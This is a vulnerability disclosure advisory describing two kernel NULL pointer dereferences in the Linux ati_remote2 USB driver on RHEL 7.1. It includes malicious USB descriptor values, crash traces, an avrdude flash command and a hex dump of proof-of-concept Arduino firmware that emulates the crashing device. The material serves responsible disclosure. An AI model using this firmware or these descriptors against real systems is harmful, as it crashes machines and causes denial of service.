[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

oss-2016-18: Multiple Local RedHat Enterprise Linux DoS – RHEL 7.1 Kernel crashes on invalid USB device descriptors (ati_remote2 driver)



OS-S Security Advisory 2016-18
Linux ati_remote2 multiple Nullpointer Dereferences 	

Date: March 4th, 2016
Authors: Sergej Schumilo, Hendrik Schwartke, Ralf Spenneberg
CVE: not yet assigned
CVSS:  4.9 (AV:L/AC:L/Au:N/C:N/I:N/A:C)
Title: Multiple Local RedHat Enterprise Linux DoS – RHEL 7.1 Kernel crashes on 
invalid USB device descriptors (ati_remote2 driver)
Severity: Critical. The Kernel panics. A reboot is required.
Ease of Exploitation: Trivial
Vulnerability type: Wrong input validation
Products: RHEL 7.1 including all updates
Kernel-Version: 3.10.0-229.20.1.el7.x86_64 (for debugging-purposes we used the 
CentOS Kernel kernel-debuginfo-3.10.0-229.14.1.el7)
Vendor: Red Hat
Vendor contacted: November, 12th 2015
PDF of advisory: https://os-s.net//advisories/OSS-2016-18_ati_remote2.pdf

Abstract:
The Kernel 3.10.0-229.20.1.el7.x86_64 crashes on presentation of a buggy USB 
device requiring the ati_remote2 driver

Detailed product description:
We confirmed the bug on the following system:
RHEL 7.1
Kernel 3.10.0-229.20.1.el7.x86_64
Further products or kernel versions have not been tested.
How reproducible: Always
Actual results: Kernel crashes. 

Description:
These bugs were found using the USB-fuzzing framework vUSBf from Sergej 
Schumilo
(github.com/schumilo) using the following device descriptors:

[*] Device-Descriptor #1
  bLength:			0x12
	  bDescriptorType:		0x1
	  bcdUSB:			0x200
	  bDeviceClass:			0xff
	  bDeviceSubClass:		0x0
	  bDeviceProtocol:		0x0
	  bMaxPacketSize:		0x40
	  idVendor:			0x471
	  idProduct:			0x602
	  bcdDevice:			0x100
	  iManufacturer:			0x1
	  iProduct:			0x2
	  iSerialNumbers:			0x3
	  bNumConfigurations:		0x1


This is the configuration descriptor containing only one interface descriptor.
The ati_remote2 driver assumes that there will be at least two interface-
descriptors with associated endpoint-descriptors. 
Since the ati_remote2 driver is expecting a second interface descriptor, the 
driver tries to dereference a null-pointer.
This results in a crash of the system. 

The null-pointer dereference happens in usb_driver_claim_interface() because 
the ati_remote2 driver passes in the second parameter a null-pointer:

****
$ nm ati_remote2.ko.debug | grep ati_remote2_probe
0000000000001300 t ati_remote2_probe
$ addr2line -e ati_remote2.ko.debug 1399
/usr/src/debug/kernel-3.10.0-229.14.1.el7/linux-3.10.0-229.14.1.el7.x86_64/drivers/input/misc/ati_remote2.c:825
****

**** CentOS-Kernel linux-3.10.0-229.14.1.el7 
(drivers/input/misc/ati_remote2.c)
        ...
820 ar2->intf[0] = interface;
821 ar2->ep[0] = &alt->endpoint[0].desc;
822
823 ar2->intf[1] = usb_ifnum_to_if(udev, 1);  /* <-- usb_ifnum_to_if returns a 
null-pointer if there is only one interface configured  */
824 r = usb_driver_claim_interface(&ati_remote2_driver, ar2->intf[1], ar2);  
/* the second parameter is obviously a null-pointer which crashes the system 
*/
825 if (r)
826     goto fail1;
827 alt = ar2->intf[1]->cur_altsetting;
        ...
****



		[*] Configuration-Descriptor
		  bLength:			0x9
		  bDescriptorType:		0x2
		  wTotalLength:			0x27
		  bNumInterfaces:		0x1
		  bConfigurationValue:		0x1
		  iConfiguration:			0x0
		  bmAttributes:			0x0
		  bMaxPower:			0x31
			[*] Interface-Descriptor
			  bLength:			0x9
			  bDescriptorType:		0x4
			  bInterfaceNumber:		0x0
			  bAlternateSetting:		0x0
			  bNumEndpoints:		0x0
			  bInterfaceClass:			0x0
			  bInterfaceSubClass:		0x0
			  bInterfaceProtocol:		0x0


[*] Device-Descriptor #2
  bLength:			0x12
	  bDescriptorType:		0x1
	  bcdUSB:			0x200
	  bDeviceClass:			0xff
	  bDeviceSubClass:		0x0
	  bDeviceProtocol:		0x0
	  bMaxPacketSize:		0x40
	  idVendor:			0x471
	  idProduct:			0x602
	  bcdDevice:			0x100
	  iManufacturer:			0x1
	  iProduct:			0x2
	  iSerialNumbers:			0x3
	  bNumConfigurations:		0x1


This is the configuration descriptor containing two interface-descriptors.
The ati_remote2 driver assumes that there will be at least two interface-
descriptors with associated endpoint-descriptors. 
If one of them contains a zero-value for bNumEndpoints or no endpoint-
descriptor is configured for the corresponding interface-descriptor, the 
ati_remote2 driver tries to dereference a null-pointer and the kernel crashes:

****
$ nm ati_remote2.ko.debug | grep ati_remote2_probe
0000000000001300 t ati_remote2_probe
$ addr2line -e ati_remote2.ko.debug 13ff
/usr/src/debug/kernel-3.10.0-229.14.1.el7/linux-3.10.0-229.14.1.el7.x86_64/drivers/input/misc/ati_remote2.c:646
****

**** CentOS-Kernel linux-3.10.0-229.14.1.el7 
(drivers/input/misc/ati_remote2.c)
        ...
632 static int ati_remote2_urb_init(struct ati_remote2 *ar2)
633 {
        ...
646 pipe = usb_rcvintpipe(udev, ar2->ep[i]->bEndpointAddress); /* null-pointer 
derference */
647 maxp = usb_maxpacket(udev, pipe, usb_pipeout(pipe));
        ...
820 ar2->intf[0] = interface;             
821 ar2->ep[0] = &alt->endpoint[0].desc;   /* <-- possible null-pointer 
(interface-0) */
822
823 ar2->intf[1] = usb_ifnum_to_if(udev, 1);
824 r = usb_driver_claim_interface(&ati_remote2_driver, ar2->intf[1], ar2); 
825 if (r)
826     goto fail1;
827 alt = ar2->intf[1]->cur_altsetting;
828     ar2->ep[1] = &alt->endpoint[0].desc;   /* <-- possible null-pointer 
(interface-1) */
        ...
****


		[*] Configuration-Descriptor
		  bLength:			0x9
		  bDescriptorType:		0x2
		  wTotalLength:			0x27
		  bNumInterfaces:		0x1
		  bConfigurationValue:		0x1
		  iConfiguration:			0x0
		  bmAttributes:			0x0
		  bMaxPower:			0x31
			[*] Interface-Descriptor
			  bLength:			0x9
			  bDescriptorType:		0x4
			  bInterfaceNumber:		0x0
			  bAlternateSetting:		0x0
			  bNumEndpoints:		0x0  malicious value for interface-0
			  bInterfaceClass:			0x0
			  bInterfaceSubClass:		0x0
			  bInterfaceProtocol:		0x0
				[*] Endpoint-Descriptor:
				  bLength:			0x7
				  bDescriptorType:		0x5
				  bEndpointAddress:		0x81	
				  bmAttribut:			0x3	
				  wMaxPacketSize:		0x404
				  bInterval:			0xc
			[*] Interface-Descriptor
			  bLength:			0x9
			  bDescriptorType:		0x4
			  bInterfaceNumber:		0x0
			  bAlternateSetting:		0x0
			  bNumEndpoints:		0x0  malicious value for interface-1
			  bInterfaceClass:			0x0
			  bInterfaceSubClass:		0x0
			  bInterfaceProtocol:		0x0
				[*] Endpoint-Descriptor:
				  bLength:			0x7
				  bDescriptorType:		0x5
				  bEndpointAddress:		0x81	
				  bmAttribut:			0x3	
				  wMaxPacketSize:		0x404
				  bInterval:			0xc



Proof of Concept:
For a proof of concept, we are providing two Arduino Leonardo firmware files. 
These firmware files will emulate defective USB devices.


 avrdude -v -p ATMEGA32u4 -c avr109 -P /dev/ttyACM0 -b 57600 -U 
flash:w:binary.hex

  
Firmware files have been attached to this bug report.
To prevent the automated delivery of the payload, a jumper may be used to 
connect port D3 and 3V3!

Severity and Ease of Exploitation:
Both vulnerabilities can be easily exploited. Using our Arduino Leonardo 
firmware files, only physical access to the system is required.

Vendor Communication:
We contacted Red Hat on the November, 12th 2015.
To this day, no security patches were provided by the vendor.
Since our 90-day Responsible Discourse deadline is expired, we publish this 
Security Advisory. 

References:
https://bugzilla.redhat.com/show_bug.cgi?id=1283362
https://bugzilla.redhat.com/show_bug.cgi?id=1283363

Kernel Stacktrace #1:

[  869.909147] usb 1-1: config index 0 descriptor too short (expected 27, got 
18)
[  869.934680] usb 1-1: New USB device found, idVendor=0471, idProduct=0602
[  869.941501] usb 1-1: New USB device strings: Mfr=1, Product=2, 
SerialNumber=3
[  869.949470] usb 1-1: Product: ĉ
[  869.953504] usb 1-1: Manufacturer: ĉ
[  869.957975] usb 1-1: SerialNumber: %
[  869.995183] BUG: unable to handle kernel NULL pointer dereference at 
00000000000000c0
[  869.996024] IP: [<ffffffff8141bf4e>] usb_driver_claim_interface+0x1e/0x110
[  869.996024] PGD 0 
[  869.996024] Oops: 0000 [#1] SMP 
[  869.996024] Modules linked in: ati_remote2(+) ip6t_rpfilter ip6t_REJECT 
ipt_REJECT xt_conntrack ebtable_nat ebtable_broute bridge stp llc 
ebtable_filter ebtables ip6table_nat nf_conntrack_ipv6 nf_defrag_ipv6 
nf_nat_ipv6 ip6table_mangle ip6table_security ip6table_raw ip6table_filter 
ip6_tables iptable_nat nf_conntrack_ipv4 nf_defrag_ipv4 nf_nat_ipv4 nf_nat 
nf_conntrack iptable_mangle iptable_security iptable_raw iptable_filter 
ip_tables bochs_drm ppdev syscopyarea sysfillrect sysimgblt ttm drm_kms_helper 
drm pcspkr i2c_piix4 i2c_core serio_raw parport_pc parport xfs libcrc32c 
sd_mod sr_mod crc_t10dif cdrom crct10dif_common ata_generic pata_acpi ata_piix 
libata e1000 floppy dm_mirror dm_region_hash dm_log dm_mod
[  869.996024] CPU: 0 PID: 2243 Comm: systemd-udevd Not tainted 
3.10.0-229.14.1.el7.x86_64 #1
[  869.996024] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 
rel-1.8.2-0-g33fbe13 by qemu-project.org 04/01/2014
[  869.996024] task: ffff88000bcfc440 ti: ffff88000afe8000 task.ti: ffff88000afe8000
[  869.996024] RIP: 0010:[<ffffffff8141bf4e>]  [<ffffffff8141bf4e>] 
usb_driver_claim_interface+0x1e/0x110
[  869.996024] RSP: 0018:ffff88000afebb60  EFLAGS: 00010286
[  869.996024] RAX: 00000000fffffff0 RBX: 0000000000000000 RCX: 0000000000000000
[  869.996024] RDX: ffff88000c3abc00 RSI: 0000000000000000 RDI: ffffffffa0396080
[  869.996024] RBP: ffff88000afebb90 R08: 0000000000000000 R09: ffff88000e401500
[  869.996024] R10: ffffffffa0394359 R11: ffffffff810020d8 R12: ffff88000f64a188
[  869.996024] R13: ffffffffa03960e8 R14: ffff88000bcd3000 R15: ffff88000c3abc00
[  869.996024] FS:  00007fb8082b4880(0000) GS:ffff88000fc00000(0000) 
knlGS:0000000000000000
[  869.996024] CS:  0010 DS: 0000 ES: 0000 CR0: 000000008005003b
[  869.996024] CR2: 00000000000000c0 CR3: 000000000c44c000 CR4: 
00000000000006f0
[  869.996024] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 
0000000000000000
[  869.996024] DR3: 0000000000000000 DR6: 00000000ffff0ff0 DR7: 0000000000000400
[  869.996024] Stack:
[  869.996024]  ffffffffa0394359 ffff88000c525800 ffff88000f64a188 ffffffffa03960e8
[  869.996024]  ffff88000bcd3000 ffff88000c3abc00 ffff88000afebbe0 ffffffffa0394399
[  869.996024]  ffff88000afebbe0 ffff88000bcd3000 ffff88000bcd3090 ffff88000bcd3090
[  869.996024] Call Trace:
[  869.996024]  [<ffffffffa0394359>] ? ati_remote2_probe+0x59/0x4ec [ati_remote2]
[  869.996024]  [<ffffffffa0394399>] ati_remote2_probe+0x99/0x4ec [ati_remote2]
[  869.996024]  [<ffffffff8141dc04>] usb_probe_interface+0x1c4/0x2f0
[  869.996024]  [<ffffffff813d30d7>] driver_probe_device+0x87/0x390
[  869.996024]  [<ffffffff813d34b3>] __driver_attach+0x93/0xa0
[  869.996024]  [<ffffffff813d3420>] ? __device_attach+0x40/0x40
[  869.996024]  [<ffffffff813d0e43>] bus_for_each_dev+0x73/0xc0
[  869.996024]  [<ffffffff813d2b2e>] driver_attach+0x1e/0x20
[  869.996024]  [<ffffffff813d2680>] bus_add_driver+0x200/0x2d0
[  869.996024]  [<ffffffff813d3b34>] driver_register+0x64/0xf0
[  869.996024]  [<ffffffff8141c1c2>] usb_register_driver+0x82/0x160
[  869.996024]  [<ffffffffa0399000>] ? 0xffffffffa0398fff
[  869.996024]  [<ffffffffa039901e>] ati_remote2_driver_init+0x1e/0x1000 
[ati_remote2]
[  869.996024]  [<ffffffff810020e8>] do_one_initcall+0xb8/0x230
[  869.996024]  [<ffffffff810dd0ee>] load_module+0x133e/0x1b40
[  869.996024]  [<ffffffff812f7d60>] ? ddebug_proc_write+0xf0/0xf0
[  869.996024]  [<ffffffff810d96b3>] ? copy_module_from_fd.isra.42+0x53/0x150
[  869.996024]  [<ffffffff810ddaa6>] SyS_finit_module+0xa6/0xd0
[  869.996024]  [<ffffffff81614389>] system_call_fastpath+0x16/0x1b
[  869.996024] Code: c3 66 66 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 44 00 00 55 
b8 f0 ff ff ff 48 89 e5 41 57 41 56 41 55 41 54 53 48 89 f3 48 83 ec 08 <48> 83 
be c0 00 00 00 00 75 74 48 8b 46 30 4c 8d 76 30 49 89 fd 
[  869.996024] RIP  [<ffffffff8141bf4e>] usb_driver_claim_interface+0x1e/0x110
[  869.996024]  RSP <ffff88000afebb60>
[  869.996024] CR2: 00000000000000c0
[  870.442943] ---[ end trace b239663354a1c556 ]---
[  870.448066] Kernel panic - not syncing: Fatal exception
[  870.449016] drm_kms_helper: panic occurred, switching back to text console



Kernel Stacktrace #2:

[   39.447664] usb 1-1: new full-speed USB device number 2 using xhci_hcd
[   39.657384] usb 1-1: config 1 interface 0 altsetting 0 has 1 endpoint 
descriptor, different from the interface descriptor's value: 0
[   39.663707] usb 1-1: config 1 interface 1 altsetting 0 has 1 endpoint 
descriptor, different from the interface descriptor's value: 0
[   39.705574] usb 1-1: New USB device found, idVendor=0471, idProduct=0602
[   39.712580] usb 1-1: New USB device strings: Mfr=1, Product=2, 
SerialNumber=3
[   39.721329] usb 1-1: Product: ĉ
[   39.725410] usb 1-1: Manufacturer: ĉ
[   39.728891] usb 1-1: SerialNumber: %
[   39.794568] BUG: unable to handle kernel NULL pointer dereference at 
0000000000000002
[   39.795021] IP: [<ffffffffa03943ff>] ati_remote2_probe+0xff/0x4ec [ati_remote2]
[   39.795021] PGD 0 
[   39.795021] Oops: 0000 [#1] SMP 
[   39.795021] Modules linked in: ati_remote2(+) ip6t_rpfilter ip6t_REJECT 
ipt_REJECT xt_conntrack ebtable_nat ebtable_broute bridge stp llc 
ebtable_filter ebtables ip6table_nat nf_conntrack_ipv6 nf_defrag_ipv6 
nf_nat_ipv6 ip6table_mangle ip6table_security ip6table_raw ip6table_filter 
ip6_tables iptable_nat nf_conntrack_ipv4 nf_defrag_ipv4 nf_nat_ipv4 nf_nat 
nf_conntrack iptable_mangle iptable_security iptable_raw iptable_filter 
ip_tables bochs_drm ppdev syscopyarea sysfillrect sysimgblt ttm drm_kms_helper 
drm pcspkr i2c_piix4 i2c_core serio_raw parport_pc parport xfs libcrc32c 
sd_mod sr_mod crc_t10dif cdrom crct10dif_common ata_generic pata_acpi ata_piix 
libata e1000 floppy dm_mirror dm_region_hash dm_log dm_mod
[   39.795021] CPU: 0 PID: 2220 Comm: systemd-udevd Not tainted 
3.10.0-229.14.1.el7.x86_64 #1
[   39.795021] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 
rel-1.8.2-0-g33fbe13 by qemu-project.org 04/01/2014
[   39.795021] task: ffff88000bcfa220 ti: ffff88000bd20000 task.ti: ffff88000bd20000
[   39.795021] RIP: 0010:[<ffffffffa03943ff>]  [<ffffffffa03943ff>] 
ati_remote2_probe+0xff/0x4ec [ati_remote2]
[   39.795021] RSP: 0018:ffff88000bd23ba0  EFLAGS: 00010286
[   39.795021] RAX: ffff88000c500c00 RBX: ffff88000c525800 RCX: 0000000000000002
[   39.795021] RDX: 0000000000004a90 RSI: ffff88000c500c00 RDI: 0000000000000000
[   39.795021] RBP: ffff88000bd23be0 R08: 0000000000000000 R09: ffffffff814183da
[   39.795021] R10: ffff88000e401800 R11: ffffffff810020d8 R12: 0000000000000000
[   39.795021] R13: ffff88000bcd0000 R14: ffff88000f050850 R15: ffff88000f050800
[   39.795021] FS:  00007fb8082b4880(0000) GS:ffff88000fc00000(0000) 
knlGS:0000000000000000
[   39.795021] CS:  0010 DS: 0000 ES: 0000 CR0: 000000008005003b
[   39.795021] CR2: 0000000000000002 CR3: 000000000d6a6000 CR4: 
00000000000006f0
[   39.795021] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 
0000000000000000
[   39.795021] DR3: 0000000000000000 DR6: 00000000ffff0ff0 DR7: 0000000000000400
[   39.795021] Stack:
[   39.795021]  ffff88000bd23be0 ffff88000bcd0000 ffff88000bcd0090 ffff88000bcd0090
[   39.795021]  ffff88000bcd0000 ffffffffa03960e8 ffff88000c525830 ffffffffa03961c0
[   39.795021]  ffff88000bd23c28 ffffffff8141dc04 000000000bd23c00 ffff88000c525800
[   39.795021] Call Trace:
[   39.795021]  [<ffffffff8141dc04>] usb_probe_interface+0x1c4/0x2f0
[   39.795021]  [<ffffffff813d30d7>] driver_probe_device+0x87/0x390
[   39.795021]  [<ffffffff813d34b3>] __driver_attach+0x93/0xa0
[   39.795021]  [<ffffffff813d3420>] ? __device_attach+0x40/0x40
[   39.795021]  [<ffffffff813d0e43>] bus_for_each_dev+0x73/0xc0
[   39.795021]  [<ffffffff813d2b2e>] driver_attach+0x1e/0x20
[   39.795021]  [<ffffffff813d2680>] bus_add_driver+0x200/0x2d0
[   39.795021]  [<ffffffff813d3b34>] driver_register+0x64/0xf0
[   39.795021]  [<ffffffff8141c1c2>] usb_register_driver+0x82/0x160
[   39.795021]  [<ffffffffa0399000>] ? 0xffffffffa0398fff
[   39.795021]  [<ffffffffa039901e>] ati_remote2_driver_init+0x1e/0x1000 
[ati_remote2]
[   39.795021]  [<ffffffff810020e8>] do_one_initcall+0xb8/0x230
[   39.795021]  [<ffffffff810dd0ee>] load_module+0x133e/0x1b40
[   39.795021]  [<ffffffff812f7d60>] ? ddebug_proc_write+0xf0/0xf0
[   39.795021]  [<ffffffff810d96b3>] ? copy_module_from_fd.isra.42+0x53/0x150
[   39.795021]  [<ffffffff810ddaa6>] SyS_finit_module+0xa6/0xd0
[   39.795021]  [<ffffffff81614389>] system_call_fastpath+0x16/0x1b
[   39.795021] Code: 49 89 46 f0 0f 84 ca 03 00 00 31 ff be d0 00 00 00 e8 d6 
3f 08 e1 48 85 c0 49 89 46 e0 0f 84 b1 03 00 00 49 8b 7e d0 41 8b 4d 00 <0f> 
b6 57 02 c1 e1 08 c1 e2 0f 81 ca 80 00 00 40 09 ca 89 d1 c1 
[   39.795021] RIP  [<ffffffffa03943ff>] ati_remote2_probe+0xff/0x4ec [ati_remote2]
[   39.795021]  RSP <ffff88000bd23ba0>
[   39.795021] CR2: 0000000000000002
[   40.196809] ---[ end trace b239663354a1c556 ]---
[   40.203621] Kernel panic - not syncing: Fatal exception
[   40.204592] drm_kms_helper: panic occurred, switching back to text console


Arduino Leonardo Firmware #1:

:100000000C94A8000C94C5000C94C5000C94C50079
:100010000C94C5000C94C5000C94C5000C94C5004C
:100020000C94C5000C94C5000C9484050C94EF034B
:100030000C94C5000C94C5000C94C5000C94C5002C
:100040000C94C5000C94C5000C94C5000C94C5001C
:100050000C94C5000C94C5000C94C5000C94CE0102
:100060000C94C5000C94C5000C94C5000C94C500FC
:100070000C94C5000C94C5000C94C5000C94C500EC
:100080000C94C5000C94C5000C94C5000C94C500DC
:100090000C94C5000C94C5000C94C5000C94C500CC
:1000A0000C94C5000C94C5000C94C500CB02CE0284
:1000B000C102C502EF02EF02EF02D202D602DA025B
:1000C000E002E402EF02EA020000000200080E0073
:1000D00000030401000B000000000000000000000D
:1000E00000000000000004080201104080401020C1
:1000F00040804080080204018040201002011080EE
:100100001020404004040404040304050202020217
:1001100004030202020206060606060604040202A0
:100120000204000000002300260029002C002F00FC
:1001300000000000250028002B002E0031000000E8
:100140000000240027002A002D00300000C180811B
:1001500011241FBECFEFDAE0DEBFCDBF15E0A0E077
:10016000B1E0E4E5F3E102C005900D92AA34B107D5
:10017000D9F725E0AAE4B5E001C01D92A536B20783
:10018000E1F70E94C8000C94C4060C940000089586
:10019000CF93DF93CDB7DEB7CE57D1090FB6F89422
:1001A000DEBF0FBECDBF0E9461020E94C70060E0AB
:1001B00083E00E94F00261E087E00E94F00261E0CB
:1001C00088E00E94F0020E9419067E0129E7E20EF3
:1001D000F11C84E093E0D70111969C938E9389E003
:1001E00094E013969C938E93129782E2E2E1F1E001
:1001F0009E012F5F3F4F6901D90101900D928A95B1
:10020000E1F788E1E4E3F1E0DE01939601900D92DD
:100210008A95E1F782E1ECE4F1E0DE01DB96019002
:100220000D928A95E1F789E0EEE5F1E0DE01A05953
:10023000BF4F01900D928A95E1F7FE01E959FF4FFA
:1002400049E0DF01242F1D922A95E9F7CE01835B57
:100250009F4F2EE0DC011D922A95E9F7408324E0B0
:100260002183DC01242F01900D922A95E1F79E0154
:1002700022583F4FFC0133872287215031093587AF
:1002800024878E01055A1F4F2CE0D8011D922A9514
:10029000E9F721E0F80121877596D80101900D92C8
:1002A0004A95E1F7D8011B969C938E931A9761E0CB
:1002B00088E00E94290380E392E00E9425068DE6F3
:1002C00092E00E9425068CEA92E00E9425068BEEC1
:1002D00092E00E94250687E293E00E94250684E6CC
:1002E00093E00E94250689E893E00E94250680EDB0
:1002F00093E00E94250683E00E945F03892B09F0AA
:1003000046C05E01B3E2AB0EB11C8824839482E147
:10031000982E89EF93E00E942506BF92AF92DF925C
:10032000CF92FF92EF921F928F921F930F93EDB790
:10033000FEB772970FB6F894FEBF0FBEEDBFADB714
:10034000BEB71196FE01FB96892D01900D928A95FC
:10035000E1F783E595E00E94C30568E873E180E07A
:1003600090E00E943B0283E595E00E940E0660E06B
:1003700087E00E94290368E873E180E090E00E9432
:100380003B020FB6F894DEBF0FBECDBFC2CF6AE00E
:1003900070E080E090E00E943B02ADCF1F920F9290
:1003A0000FB60F9211242F933F938F939F93AF9388
:1003B000BF9380914B0590914C05A0914D05B09154
:1003C0004E0530914A0523E0230F2D3720F4019686
:1003D000A11DB11D05C026E8230F0296A11DB11D68
:1003E00020934A0580934B0590934C05A0934D05AF
:1003F000B0934E0580914F0590915005A091510505
:10040000B09152050196A11DB11D80934F059093A7
:100410005005A0935105B0935205BF91AF919F91A4
:100420008F913F912F910F900FBE0F901F901895B5
:100430003FB7F89480914F0590915005A0915105D8
:10044000B091520526B5A89B05C02F3F19F0019623
:10045000A11DB11D3FBF6627782F892F9A2F620FEC
:10046000711D811D911D42E0660F771F881F991F26
:100470004A95D1F70895CF92DF92EF92FF92CF93F2
:10048000DF936B017C010E941802EB01C114D104BF
:10049000E104F10479F00E9418026C1B7D0B683EA8
:1004A0007340A0F381E0C81AD108E108F108C851EF
:1004B000DC4FECCFDF91CF91FF90EF90DF90CF90AA
:1004C0000895789484B5826084BD84B5816084BDCC
:1004D00085B5826085BD85B5816085BDEEE6F0E0BD
:1004E000808181608083E1E8F0E010828081826019
:1004F0008083808181608083E0E8F0E0808181609A
:100500008083E1E9F0E08081826080838081816086
:100510008083E0E9F0E0808181608083E1ECF0E0BD
:10052000808184608083808182608083808181601B
:100530008083E3ECF0E0808181608083E0ECF0E098
:10054000808182608083E2ECF0E080818160808342
:10055000EAE7F0E08081846080838081826080832C
:10056000808181608083808180688083089590E0AD
:10057000FC013197EE30F10590F5EA5AFF4F0C94EB
:100580006B09809180008F7703C0809180008F7D00
:1005900080938000089584B58F7702C084B58F7DE5
:1005A00084BD0895809190008F7707C0809190005E
:1005B0008F7D03C080919000877F80939000089585
:1005C0008091C0008F7703C08091C0008F7D8093A1
:1005D000C00008958091C200877F8093C200089573
:1005E000CF93DF9390E0FC01EA51FF4F2491FC018F
:1005F000EC5FFE4F8491882349F190E0880F991FAA
:10060000FC01E25CFE4FA591B491805D9E4FFC0120
:10061000C591D4919FB7611108C0F8948C91209531
:1006200082238C93888182230AC0623051F4F8942B
:100630008C91322F309583238C938881822B8883F1
:1006400004C0F8948C91822B8C939FBFDF91CF9143
:1006500008950F931F93CF93DF931F92CDB7DEB70B
:10066000282F30E0F901E853FF4F8491F901EA5156
:10067000FF4F1491F901EC5FFE4F04910023C9F084
:10068000882321F069830E94B7026981E02FF0E09E
:10069000EE0FFF1FE05DFE4FA591B4919FB7F89458
:1006A0008C91611103C01095812301C0812B8C9323
:1006B0009FBF0F90DF91CF911F910F910895CF931E
:1006C000DF93282F30E0F901E853FF4F8491F901BF
:1006D000EA51FF4FD491F901EC5FFE4FC491CC2356
:1006E00091F081110E94B702EC2FF0E0EE0FFF1F96
:1006F000EE5DFE4FA591B4912C912D2381E090E009
:1007000021F480E002C080E090E0DF91CF91089575
:10071000615030F02091F100FC0120830196F8CF68
:10072000289884E68093630508951092E90010925A
:1007300057051092560590935505809354050895DA
:10074000FF920F931F93CF93DF93F82E8B01EA0153
:10075000BA01C8010E946606F80120E030E08EEF81
:100760002C173D0791F1F7FE02C0A49101C0A081B2
:10077000609156057091570540915405509155056B
:1007800064177507ACF49091E8009570E1F39091CF
:10079000E80092FD1CC0A093F100A0915605B09115
:1007A00057051196AF73BB27AB2B11F48093E8006C
:1007B000A0915605B09157051196B0935705A09397
:1007C00056052F5F3F4F3196CBCFC90102C08FEF47
:1007D0009FEFDF91CF911F910F91FF9008951F928E
:1007E0000F920FB60F9211246F927F928F929F9269
:1007F000AF92BF92CF92DF92EF92FF920F931F932F
:100800002F933F934F935F936F937F938F939F9318
:10081000AF93BF93EF93FF93CF93DF93CDB7DEB743
:100820006297DEBFCDBF1092E9008091E80083FFA0
:1008300046C168E0CE010A960E94880382EF809349
:10084000E8009A8597FF05C08091E80080FFFCCF03
:1008500003C08EEF8093E800892F807609F023C1D2
:100860008B85811105C01092F1001092F10020C11A
:10087000282F2D7F213009F41BC1853049F4809148
:10088000E80080FFFCCF8C8580688093E30010C176
:10089000863009F0E1C02D8508891989223009F0D8
:1008A000B3C0EC848E2D90E02091590530915A050B
:1008B000821793070CF09FC00E9495031F92EF923E
:1008C00082E294E09F938F930E9443068CE0E89E1F
:1008D00070011124E0915B05F0915C05EE0DFF1DA8
:1008E00089E0DE01119601900D928A95E1F7C80129
:1008F0000E94950349E050E0BE016F5F7F4F80E0AA
:100900000E94A0030F900F900F900F90C12CD12C3C
:10091000612C712C38E5A32E34E0B32E4FE8842EE1
:1009200044E0942EE0915B05F0915C05EE0DFF1D17
:10093000818590E0681679060CF0BAC07F926F92BC
:10094000BF92AF920E944306E0915B05F0915C0577
:10095000EE0DFF1D628573856C0D7D1D49E050E035
:1009600080E00E94A0030F900F900F900F9000E086
:1009700010E0E0915B05F0915C05EE0DFF1D028437
:10098000F385E02DEC0DFD1D818590E0081719071A
:100990005CF51F930F939F928F920E944306E09104
:1009A0005B05F0915C05EE0DFF1D0284F385E02DE3
:1009B000EC0DFD1DC801880F991FA485B585A80FF2
:1009C000B91F4D915C910284F385E02DE80FF91F6A
:1009D0006081718180E00E94A0030F5F1F4F0F9024
:1009E0000F900F900F90C5CF8FEF681A780A8EE0A6
:1009F000C80ED11C97CF84EC94E09F938F930E94F4
:100A000043060F900F9058C0C8012A8B0E9495038F
:100A10002A892130C1F0233009F04EC08C851F9205
:100A20008F938EED94E09F938F930E94430642E054
:100A300050E067E671E080E00E94A0030F900F9005
:100A40000F900F9035C04091000150E060E071E0E0
:100A500080E00E94A0032CC0873071F1883021F41F
:100A600081E08093F10024C0893011F5937021F565
:100A7000EDE4F1E081E021E096E38093E90020934A
:100A8000EB0034913093EC009093ED008F5F319642
:100A9000843099F78EE78093EA001092EA008C8503
:100AA0008093580505C0888999890E94950304C0E0
:100AB0008EEF8093E80003C081E28093EB006296A2
:100AC0000FB6F894DEBF0FBECDBFDF91CF91FF917F
:100AD000EF91BF91AF919F918F917F916F915F91B6
:100AE0004F913F912F911F910F91FF90EF90DF90C9
:100AF000CF90BF90AF909F908F907F906F900F900E
:100B00000FBE0F901F9018951F920F920FB60F9265
:100B100011248F939F938091E1001092E10083FF55
:100B20000FC01092E90091E09093EB001092EC005E
:100B300092E39093ED001092580598E09093F000A6
:100B400082FF1AC080916405882339F08091640582
:100B5000815080936405882369F080916305882320
:100B600059F080916305815080936305811104C021
:100B7000289A02C05D9AF1CF9F918F910F900FBE7E
:100B80000F901F901895CF93DF93CDB7DEB782E11A
:100B9000FE013596A0E0B1E001900D928A95E1F753
:100BA0008F89988D90935C0580935B05898D9A8DD4
:100BB00090935A05809359058B8D9C8D9093620577
:100BC000809361058D8D9E8D9093600580935F0568
:100BD0008F8D98A190935E0580935D0510925805C6
:100BE00081E08093D70080EA8093D80082E189BDBC
:100BF00009B400FEFDCF61E070E080E090E00E946B
:100C00003B0280E98093D8008CE08093E200109250
:100C1000E000559A209ADF91CF91089581E080936A
:100C2000E00008959091C80095FFFCCF8093CE001E
:100C300008951092CD0087E68093CC0088E18093E0
:100C4000C9008EE08093CA0008950F931F93CF933D
:100C5000DF93EC018C01FE0101900020E9F7319750
:100C6000EC1BFD0BC8018C1B9D0B8E179F0730F4EE
:100C7000F80181918F010E941206EDCFDF91CF9193
:100C80001F910F910895CF93DF93CDB7DEB7DA951B
:100C90000FB6F894DEBF0FBECDBFFE01EB5FFE4F77
:100CA000419151919F0160E071E0CE0101960E9457
:100CB000C706CE0101960E942506D3950FB6F8947B
:100CC000DEBF0FBECDBFDF91CF9108958F929F926F
:100CD000AF92BF92CF92DF92EF92FF920F931F934A
:100CE000CF93DF9300D0CDB7DEB75B0127E335E0CC
:100CF0003F932F9389839A830E9443068981882E8C
:100D00009A81992E0F900F9000E010E083E4E82E76
:100D100085E0F82E96EFC92E93E0D92E0A151B0513
:100D2000E4F4F40181914F0190E09F938F93FF923F
:100D3000EF920E9443060F5F1F4FC8018F709927E3
:100D40000F900F900F900F90892B41F7DF92CF9269
:100D50000E9443060F900F90E1CF86EF93E09F93A0
:100D60008F930E9443060F900F900F900F90DF918A
:100D7000CF911F910F91FF90EF90DF90CF90BF9098
